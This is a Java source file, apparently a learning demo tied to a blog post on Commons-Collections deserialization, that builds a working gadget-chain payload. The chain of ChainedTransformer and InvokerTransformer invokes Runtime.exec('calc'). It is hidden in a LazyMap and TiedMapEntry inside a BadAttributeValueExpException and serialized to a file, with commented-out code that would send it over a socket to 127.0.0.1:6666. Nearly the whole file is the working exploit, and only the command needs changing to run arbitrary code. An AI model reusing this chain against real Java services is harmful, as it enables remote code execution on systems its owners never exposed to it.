package summer.cc3bug;




import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.Socket;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;


/**
 * @ClassName: user
 * @Description: TODO
 * @Author: Samny
 * @Date: 2020/4/23 16:27
 * @Version: v1.0.0
 * @Description: 模拟黑客攻击
 * https://samny.gitee.io/2020/05/26/%E6%BC%AB%E8%B0%88Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
 **/
public class user {
    public static void main(String[] args) throws Exception {
        //目的服务器地址
        String tas = "127.0.0.1";
        // 端口
        int port = 6666;

        // payload
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}
                ,new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}
                ,new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
                new ConstantTransformer("66666!")

        };


//        final Transformer transformerChain = new ChainedTransformer(
//                new Transformer[]{ new ConstantTransformer(1) });

        Transformer transformerChain = new ChainedTransformer(transformers);



        // 创建漏洞map Object
        Map inmap = new HashMap();
        Map lazymap = LazyMap.decorate(inmap,transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazymap,"hack by Summer");




        // 创建异常，在反序列化时触发payload
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        try {
            Field field = expException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(expException, entry);

        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }

//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        // 发送payload

//        Socket socket = new Socket(tas,port);
//        ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
//
        FileOutputStream fos = new FileOutputStream(new File("tempFile4"));
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(expException);
        oos.flush();


    }


}
